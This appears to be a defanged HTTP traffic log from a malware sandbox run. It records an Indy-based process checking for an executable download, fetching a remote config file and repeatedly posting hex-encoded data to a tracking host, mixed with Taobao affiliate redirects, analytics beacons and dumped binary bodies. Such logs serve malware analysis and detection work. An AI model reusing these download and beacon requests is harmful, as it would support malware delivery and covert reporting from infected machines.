Date: Mon, 01 Jun 2015 02:09:08 GMT

Last-Modified: Mon, 01 Jun 2015 02:00:14 GMT

Expires: Thu, 29 May 2025 02:09:08 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache6.l2de1[0,200-0,H], cache62.l2de1[0,0], cache3.de1[0,200-0,H], cache10.de1[0,0]

Age: 56880

X-Cache: HIT TCP_MEM_HIT dirn:4:59385243

X-Swift-SaveTime: Mon, 01 Jun 2015 02:11:00 GMT

X-Swift-CacheTime: 315359888

......Exif..II*.................Ducky.......<......Adobe.d.................................................................................................................................................,...............................................................................................!1.AQ".aq.2.....B..Rbr#.......3...CSs...$4%..c.Tt.5U..D67.d..E....8......................1.!AQ..aq.."......2BR...br.....#3C4...s$..Sc5.......T%............?..._>.XD.3.....B;.)..... ...aP..LaS..S)...w#......q......{..j...^....'....UY.f~f..G..3.&z..:................%[..?[.k..b.U"Y..... m..W.).Iq@z....]_?..........\Ik...-....V..g..\QB.....O....e..g............T.....Z....&.b....pxT. .....F...a.`........(.....t.(.....}5..8...E.gd..........i..Q.7<..d......e.. .......:.v......P...@... .....*II.a.SL.u.......HA....T.T.t.1@...@...@.(.P...@........'.M. H...@?%....@..... .........En.=.l?K..?...Q..32......;..2.7..tG.=...K#.t.a...e..6.-..Q\...k.....9..M.d-....O.........^.....nW......m.........U..P...B....%J<..s.S.iic.v.3.^.t......-.z..j.l..j..[..y.F....Q.2$....u-.1.ACm..Xq.V.R...uwr.rr...wwq.j.S.{(.y..z...S...n6.Q.,3...[.7.%>.kew<[v.... ../Y...........c...#>......V...u^....i|..|....m\.<....q..l...k..`.r>..M..&..q.7.LgI....D@...... .0P..L....giH.{i6E.....?/9...?..?.Z....P.Gm..oY.L.FUF....)S.}l.q..I.....s~......X)Q .c@.l. ..Y.yl".K3".HO0....n.Iw.....e.............$.....67G&..m@.T.eI.G...@..c....P0P...........@.@...m.8s.5....d.nM....|o@...(.Z......-@......wH.(.P...(.R.(.-@.@.c..@...Rl~..e..(..@..!..`....z..

<<< skipped >>>

GET /json/tg/juSkip.htm?callback=skipFn0&menuType=index HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: skip.ju.taobao.com

Connection: Keep-Alive

Cookie: miid=6253757304298920846; bid=7

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:09 GMT

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Bucket-Hash: jhs_b_A

At_Bucketid: jhs_ju_7

Server-Num: ju010178049111.n.et2

S: STATUS_NOT_EXISTED

Pragma: no-cache

Cache-Control: no-cache

Set-Cookie: v=0; Domain=.taobao.com; Path=/

Set-Cookie: cookie2=1c3cfe0ac26828dd2b4d453adc72d5dc;Domain=.taobao.com;Path=/;HttpOnly

Set-Cookie: jc=shanghai; Domain=.ju.taobao.com; Expires=Thu, 29-May-2025 17:57:09 GMT; Path=/

Set-Cookie: t=7805c21e133a087bd21782c2fc4eeccb; Domain=.taobao.com; Expires=Sun, 30-Aug-2015 17:57:09 GMT; Path=/

Set-Cookie: _tb_token_=99grvpQKSo; Domain=.taobao.com; Path=/

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Via: wagbridge010103196070.n.et2[web]

Set-Cookie: bid=7; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip

2ee...............k.A......#.BH....C.. .. ...2I..I..lf.Q.......!.~Xc....K".. .PT......[..4....6d..3.<.;...._q........M.!..............N...ARRdY.K.LH1..... V..9...!..42B.C......yDq......UFFt".(.H....D..<..[a...I..L...]4.z..j#=g.=..05C*..|.77.q.;b\...e..s..C@.u....r.....l.PuL....9j..\..2.......X .9.........g.!G.......`5L|..:g...g.Bi.L..;....kU.D...yr.....{K...e2.`.o.......4"...].W.<......3.<=...X.....y...ys...[?7?.p...!O...IX..e....:..I......z]0G.....A..Y............).Y<.....>;k.:e%&.)...'.f.Q{V%....V..j..>.@&Q...z........k....G..$k.*....q~..?.k.....q..J........>...WJb.(...(."z......G.G2..IPo..k............FS.....4L..K..T....q....1.u..J$rV..t....Q...G..8......n..7D.&NIGr.:9...G.B'$}VV.mT.om..v.........v...Aq!.#..O............z............_..0pu.....0..

<<< skipped >>>

HEAD /down/069.exe HTTP/1.1

Host: pc.tgi-cn.net

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 2511776

Connection: keep-alive

Set-Cookie: _alicdn_tc=AQAAAMUmIi7Duw0A5/SKwR1pmC/Y8P3I; Path=/; Expires=Mon, 01-Jun-15 18:57:54 GMT; HttpOnly

Last-Modified: Mon, 01 Jun 2015 17:48:36 GMT

Accept-Ranges: bytes

ETag: "83d0512f939cd01:256"

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:50:03 GMT

Via: cache26.l2cn202[281,200-0,H], cache23.l2cn202[157,0], kunlun6.cn125[0,200-0,H], kunlun7.cn125[0,0]

Age: 471

X-Cache: HIT TCP_MEM_HIT dirn:3:165368355

X-Swift-SaveTime: Mon, 01 Jun 2015 17:50:08 GMT

X-Swift-CacheTime: 3600

GET /stat.htm?id=1255080332&r=&lg=en-us&ntime=none&cnzz_eid=102748168-1433180973-&showp=1276x846&t=&h=1&rnd=1688775461 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: oz.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.4.6

Date: Mon, 01 Jun 2015 17:57:02 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT

Connection: close

Accept-Ranges: bytes

GIF89a.............!.......,...........D..;..

GET /?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Cookie: miid=6253757304298920846

Connection: Keep-Alive

Host: ju.taobao.com

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:07 GMT

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Bucket-Hash: jhs_b_A

At_Bucketid: jhs_ju_7

Server-Num: ju010179134162.s.et2

S: STATUS_NOT_EXISTED

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

X-Cache: MISS TCP_MISS dirn:-2:-2

Via: wagbridge010181176026.s.et2[76,200-0,M]

Cache-Control: no-store

Url-Hash: bid=7&/&ju.taobao.com

Via: wagbridge010181172166.s.et2[web]

Set-Cookie: bid=7; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip

600a..............ys.W.?..L.}..OMnR.m.v1.|.....$N&s)Y.m..2Z0&7.."...p...M.e[.&o...@B..$..d..!&.~..t..Z......q*Xnu..9.?.z...~....^.y....5....m......gK..V....Q.gK..k...mn.......DYe..-.......qkYM......ux..e.z|.ZVYYW....4W....z...d....y.VTo6....(.....W...........G.M.m....../=\....b..l....6W..U....u.{\.....?....hj.xm..{a/.......'t]..5..3Dj.59...p....5.2....u4..f...o.....l......?u..?.^...........=....6ty.K.3....tUS..........v.x..fI.........`...{.2..Ac.l...}....4...hdje......h8}u......3=........;&..q.uW{...x<-M....PLZK.Ng..:k.XK..v4.8.....VG...W....z....q..<........;]M-6....!yx.....:..i...........4s....>.sw(....-..w)...'h.C.Gju6..Z ..cik.u...wm--.j6....'..c.&.f......]6......K.EI...|.&0......F.cS....l......[...759.}..Z.....%.n......y.]n....81^).L..tS.....\.U. L...Stw..).x...2g...Qy..."..iN...5:<...WE7..ke]#......>..dl..Z.w59....-...R....X'........k#....j<n;/.Hh....pz<m.'....3Tz...6...&)..f.o...^..~.......$...p@.T|..rK...5.R.K=[.]5m.{#X...._9M.........X....../.........p{w8j]n..v..[ow...|..o...M.N......X..K...{.ng.....q....5y.6...h........t.l}..=^.........'cm...._..4.</.......X.V...h..L.A..,x..z.Qo.../.<.~.....u.y..7\..{w........?s.d..7[.n-..........6b9..l............ .S.W...6.._.s.D.....WT6.?....t.X..~.&.....,..B. P..-.!....[5/.0.lnv..t.x.5.......Z.<...../i.i8.A.. .....Z...) .Kz$....[.P^~......j.i.......[.......v.....-.....m.4..w.l.:gs..YW..\.....{...5: .^GS.....X~J...lq;......o....M...$.n.U{\........j._h........h..n......yJCKH...|.}.....9=.......&U...4..67....?8.Z.g.f/M-=.T............jl^[

<<< skipped >>>

GET /t/font_1432191682_899724.eot? HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: at.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 32212

Connection: keep-alive

Date: Thu, 21 May 2015 10:01:34 GMT

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Cache-Control: max-age=31557600

ETag: "4D259A43E060FF333831543B075691D4"

Last-Modified: Thu, 21 May 2015 07:01:23 GMT

x-oss-object-type: Normal

x-oss-request-id: 555DACFE59BCDC5C50BEA26F

Via: cache54.l2de1[0,200-0,H], cache39.l2de1[1,0], cache6.uk1[0,200-0,H], cache12.uk1[0,0]

Age: 978934

X-Cache: HIT TCP_MEM_HIT dirn:0:217928942

X-Swift-SaveTime: Thu, 21 May 2015 10:04:53 GMT

X-Swift-CacheTime: 31557401

.}...|............................LP.........................'......................j.u.-.f.o.n.t.....f.o.n.t.....V.e.r.s.i.o.n. .1...0. .;. .t.t.f.a.u.t.o.h.i.n.t. .(.v.0...9.4.). .-.l. .8. .-.r. .5.0. .-.G. .2.0.0. .-.x. .1.4. .-.w. .".G.". .-.f. .-.s.....j.u.-.f.o.n.t................pFFTMoD.S........OS/2W{\........`cmap..!....x...Jcvt ...4..rl...$fpgm0.....r.....gasp......rd....glyfU..n......hthead......k8...6hhea.#....kp...$hmtx22!Q..k....$loca.r.:..l.....maxp.i....mL... name.B/_..ml....post.4]...o.....prep...f..|(.............=........3A......3B...U.......................3..............................PfEd...x.D.,.,.\.=................. .....................D...........(...........x.D.....x..........................................................................................................................................................................................................................................................................................."...2.......)@&.......W.....K....O.....C............. 3.!.'3.#"........V".f.....,.........0.:.R.^.wK..PX@J........f......^.....\.......^.......^....i........X.........Y.....Q.....B.K..PX@K........f......^.....\........f.......^....i........X.........Y.....Q.....B.K..PX@L........f......^.....\........f........f....i........X.........Y.....Q.....B.@N........f.......f......d........f........f....i........X.........Y.....Q.....BYYY@(SS;;21..S^S^[X;R;RKC751:2:.0.0Q.1..(.@.. .. ."....!54&54.. ..!.......#.& .'!. ."'"..=.."...3264&.......;.26'..'&'.54

<<< skipped >>>

GET /will.html HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: tongji.110160.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 374

Content-Type: text/html

Last-Modified: Thu, 14 May 2015 10:24:04 GMT

Accept-Ranges: bytes

ETag: "d8e4381a308ed01:125c"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:55 GMT

<htmL>..<head>..</head>..<body>..<script type="text/javascript">var cnzz_protocol = (("https:" == document.location.protocol) ? " hXXps://" : " hXXp://");document.write(unescape("%3Cspan id='cnzz_stat_icon_1255080332'>"));</script>..</html>HTTP/1.1 200 OK..Content-Length: 374..Content-Type: text/html..Last-Modified: Thu, 14 May 2015 10:24:04 GMT..Accept-Ranges: bytes..ETag: "d8e4381a308ed01:125c"..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..Date: Mon, 01 Jun 2015 17:56:55 GMT..<htmL>..<head>..</head>..<body>..<script type="text/javascript">var cnzz_protocol = (("https:" == document.location.protocol) ? " hXXps://" : " http://");document.write(unescape(""));</script>..</html>..

GET /tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 1318

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:38:54 GMT

Last-Modified: Sun, 19 Oct 2014 05:24:46 GMT

Expires: Thu, 29 May 2025 11:38:54 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache29.l2de1[0,200-0,H], cache20.l2de1[0,0], cache4.de1[0,200-0,H], cache8.de1[0,0]

Age: 22695

X-Cache: HIT TCP_MEM_HIT dirn:4:794143082

X-Swift-SaveTime: Mon, 01 Jun 2015 11:43:50 GMT

X-Swift-CacheTime: 315359704

.PNG........IHDR.......#.....o."....xPLTE...............................................................................................................................'tRNS................S~..... .do..vKD.\<2. ..e.2...6IDATX...... ...].}.....p"...$.95U.....?.............lEn.G......DQ.n.5..4.....'./.#B.._..g.....@L..w..zzo.@..CP.|.:...@x.H...`1..Fh........E.V")>.x.9..n.D...tV....B%.s......\.=.......ME....!\Y...E<P..`X......r8...k...6?.K.A..sHB(i.<.<f.VIR.t(=.7..u........k.1......a......u..P.1.(......X}Bu!.c.7..ci^..o@...../B...}..6...............}....w.....(P.....&.Cn......r..eh..Y*....a.Z.P..l..MDYY..'..$..n..G....u:..E,..a.W(.....9~.y.s. .hA...s~B.1.......fE.?J...C...6Q.....X.G.$*..7...%...:q..&i./`=..#.C.i..@H!4|.,..u..Ch.P ,/....z|.E...$.XR.@B(.@.."CD......\&...A9...... !..D.V...Vk.9%...q..u..:.....L..........0...2.U ..h.k.7.PY2...v.BC....AR.. .h,_ ,.U "r_..?(..v.g...w:jD7..5....Y:.a.6.W.........d.:..[.H..^..Ji=...@.!......!....._........I..{.8.](.<..|...........c&;.m.#4";..v...[..#.. !..)#:..F...|%...q.Z..Oz6N.8.\.Hwh-Q..M-|....P...V.i|.h..)..}..]..a_ZZ..%.`..;U....G...!T...G..I;f.V..../(._....Lr...1).h...[{.....'.0yO...Ms.....!jvt.m..........7.V..k.W.*....<...mg...p.? ...r.<....FQr....kd....x ....wb.[.....(.B.V........l.xu.......5..........).~.dl.0.,.?......=W.e.8b5.".?..!.:.........IEND.B`.....

<<< skipped >>>

GET /play/fxappimg/btn/tab2.png HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: image.anbangjiance.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=172800

Content-Type: image/png

Last-Modified: Mon, 01 Dec 2014 12:08:00 GMT

Accept-Ranges: bytes

ETag: "8763c7735fdd01:0"

Server: Microsoft-IIS/7.5

Date: Mon, 01 Jun 2015 17:57:52 GMT

Content-Length: 13263

.PNG........IHDR...`...T........C....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:BC4A4489F07E11E3BF41F4FF42BC7C05" xmpMM:DocumentID="xmp.did:BC4A448AF07E11E3BF41F4FF42BC7C05"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BC4A4487F07E11E3BF41F4FF42BC7C05" stRef:documentID="xmp.did:BC4A4488F07E11E3BF41F4FF42BC7C05"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.=B...0EIDATx..}y.%E.g......(..P....mZ..{....?..GA@h....qFZ....nF.mEG.b...EE..E.S.qF.P.....>d..E.......{3.d.....7.....c2...7#"3...'.9q.@D.:.;^../!...7.3.%.}..v.Dub............._..X..G..`|.6.....O...o......:.wV.h.s./...oc..'....."'...1._...].|c..?4...`.;..;.."..J....D.|....|W.|.]4......}.....A.~...IE?.2...K^....Q...S0@E...i..\.^.......8...|.....$...@..`^/._p...|!....B..F?%....._9&..p9...7.2...\x.3. .\.!x..(B.k@7....`.....g1....;'X....L1Z.]u..c...9h.9N.....*|K.7N.K....(.bx.8. .\6...dJ3.!....<RL(..O....rs.u.h....~.H..Et.$...e...R..o!<....^%.[...Q..O;'......._.........wI.......[...0..x.-.H

<<< skipped >>>

GET /app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: pcookie.cnzz.com

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:06 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:06 GMT; path=/; domain=.cnzz.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache

GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Tengine..Date: Mon, 01 Jun 2015 17:57:06 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:06 GMT; path=/; domain=.cnzz.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..

POST /detail.ashx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=3931333531313737333436333B313B

HTTP/1.1 200 OK

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:57:04 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 2

okHTTP/1.1 200 OK..Connection: keep-alive..Date: Mon, 01 Jun 2015 17:57:04 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..X-AspNet-Version: 2.0.50727..Cache-Control: private..Content-Type: text/html; charset=utf-8..Content-Length: 2..ok..

POST /detail.ashx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=3535373738313737333436333B333B

HTTP/1.1 200 OK

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:57:50 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 2

okHTTP/1.1 200 OK..Connection: keep-alive..Date: Mon, 01 Jun 2015 17:57:50 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..X-AspNet-Version: 2.0.50727..Cache-Control: private..Content-Type: text/html; charset=utf-8..Content-Length: 2..ok..

GET /t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:04 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Location: hXXp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr

Expires: Mon, 01 Jun 2015 17:57:04 GMT

Cache-Control: max-age=0

0..

GET /paramfile/main.txt HTTP/1.1

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/5.0

HTTP/1.1 200 OK

Content-Length: 74

Content-Type: text/plain

Last-Modified: Mon, 01 Jun 2015 12:38:46 GMT

Accept-Ranges: bytes

ETag: W/"5a6537e7679cd01:125c"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:56 GMT

...1.0.0.1;......$pptv$1............$.........$............$PPTV$...$pps;2HTTP/1.1 200 OK..Content-Length: 74..Content-Type: text/plain..Last-Modified: Mon, 01 Jun 2015 12:38:46 GMT..Accept-Ranges: bytes..ETag: W/"5a6537e7679cd01:125c"..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..Date: Mon, 01 Jun 2015 17:56:56 GMT.....1.0.0.1;......$pptv$1............$.........$............$PPTV$...$pps;2..

GET /17745949.js HTTP/1.1

Accept: */*

Referer: hXXp://jc.110160.com/ad.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: js.users.51.la

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=300

Content-Length: 1932

Content-Type: application/x-javascript

Last-Modified: Sun, 31 May 2015 23:19:46 GMT

Accept-Ranges: bytes

ETag: "1ce34c48f89bd01:abb"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:30 GMT

Connection: close

document.write ('<a href="hXXp://VVV.51.la/?17745949" target="_blank" title="51.la 专业、免费、强健的访问统计">网站统计</a>\n');..var a5949tf="51la";var a5949pu="";var a5949pf="51la";var a5949su=window.location;var a5949sf=document.referrer;var a5949of="";var a5949op="";var a5949ops=1;var a5949ot=1;var a5949d=new Date();var a5949color="";if (navigator.appName=="Netscape"){a5949color=screen.pixelDepth;} else {a5949color=screen.colorDepth;}..try{a5949tf=top.document.referrer;}catch(e){}..try{a5949pu =window.parent.location;}catch(e){}..try{a5949pf=window.parent.document.referrer;}catch(e){}..try{a5949ops=document.cookie.match(new RegExp("(^| )a5949_pages=([^;]*)(;|$)"));a5949ops=(a5949ops==null)?1: (parseInt(unescape((a5949ops)[2])) 1);var a5949oe =new Date();a5949oe.setTime(a5949oe.getTime() 60*60*1000);document.cookie="a5949_pages=" a5949ops ";path=/;expires=" a5949oe.toGMTString();a5949ot=document.cookie.match(new RegExp("(^| )a5949_times=([^;]*)(;|$)"));if(a5949ot==null){a5949ot=1;}else{a5949ot=parseInt(unescape((a5949ot)[2])); a5949ot=(a5949ops==1)?(a5949ot 1):(a5949ot);}a5949oe.setTime(a5949oe.getTime() 365*24*60*60*1000);document.cookie="a5949_times=" a5949ot ";path=/;expires=" a5949oe.toGMTString();}catch(e){}..try{if(document.cookie==""){a5949ops=-1;a5949ot=-1;}}catch(e){}..a5949of=a5949sf;if(a5949pf!=="51la"){a5949of=a5949pf;}if(a5949tf!=="51la"){a5949of=a5949t

<<< skipped >>>

GET /btns/btns.js HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: web.fx.cncll.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 17 Mar 2015 07:58:04 GMT

Accept-Ranges: bytes

ETag: "0ceb3188860d01:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:57:50 GMT

Content-Length: 194

.............j.0.@.E.`....o-l?1. {N...&8.#.......P..B..x..4..\`..>..Q..qFtY.@'....()F...].>..T.@....1..;Al..c .N...2.....E....I...."r_T\$.....)......=h..X.............E5.....K.5.....:......ex...HTTP/1.1 200 OK..Content-Type: application/x-javascript..Content-Encoding: gzip..Last-Modified: Tue, 17 Mar 2015 07:58:04 GMT..Accept-Ranges: bytes..ETag: "0ceb3188860d01:0"..Vary: Accept-Encoding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Mon, 01 Jun 2015 17:57:50 GMT..Content-Length: 194...............j.0.@.E.`....o-l?1. {N...&8.#.......P..B..x..4..\`..>..Q..qFtY.@'....()F...].>..T.@....1..;Al..c .N...2.....E....I...."r_T\$.....)......=h..X.............E5.....K.5.....:......ex.....

GET /tps/i4/TB17ZwIHVXXXXXGXXXXrywt4VXX-120-120.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms04.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 16965

Connection: keep-alive

Date: Mon, 01 Jun 2015 00:01:20 GMT

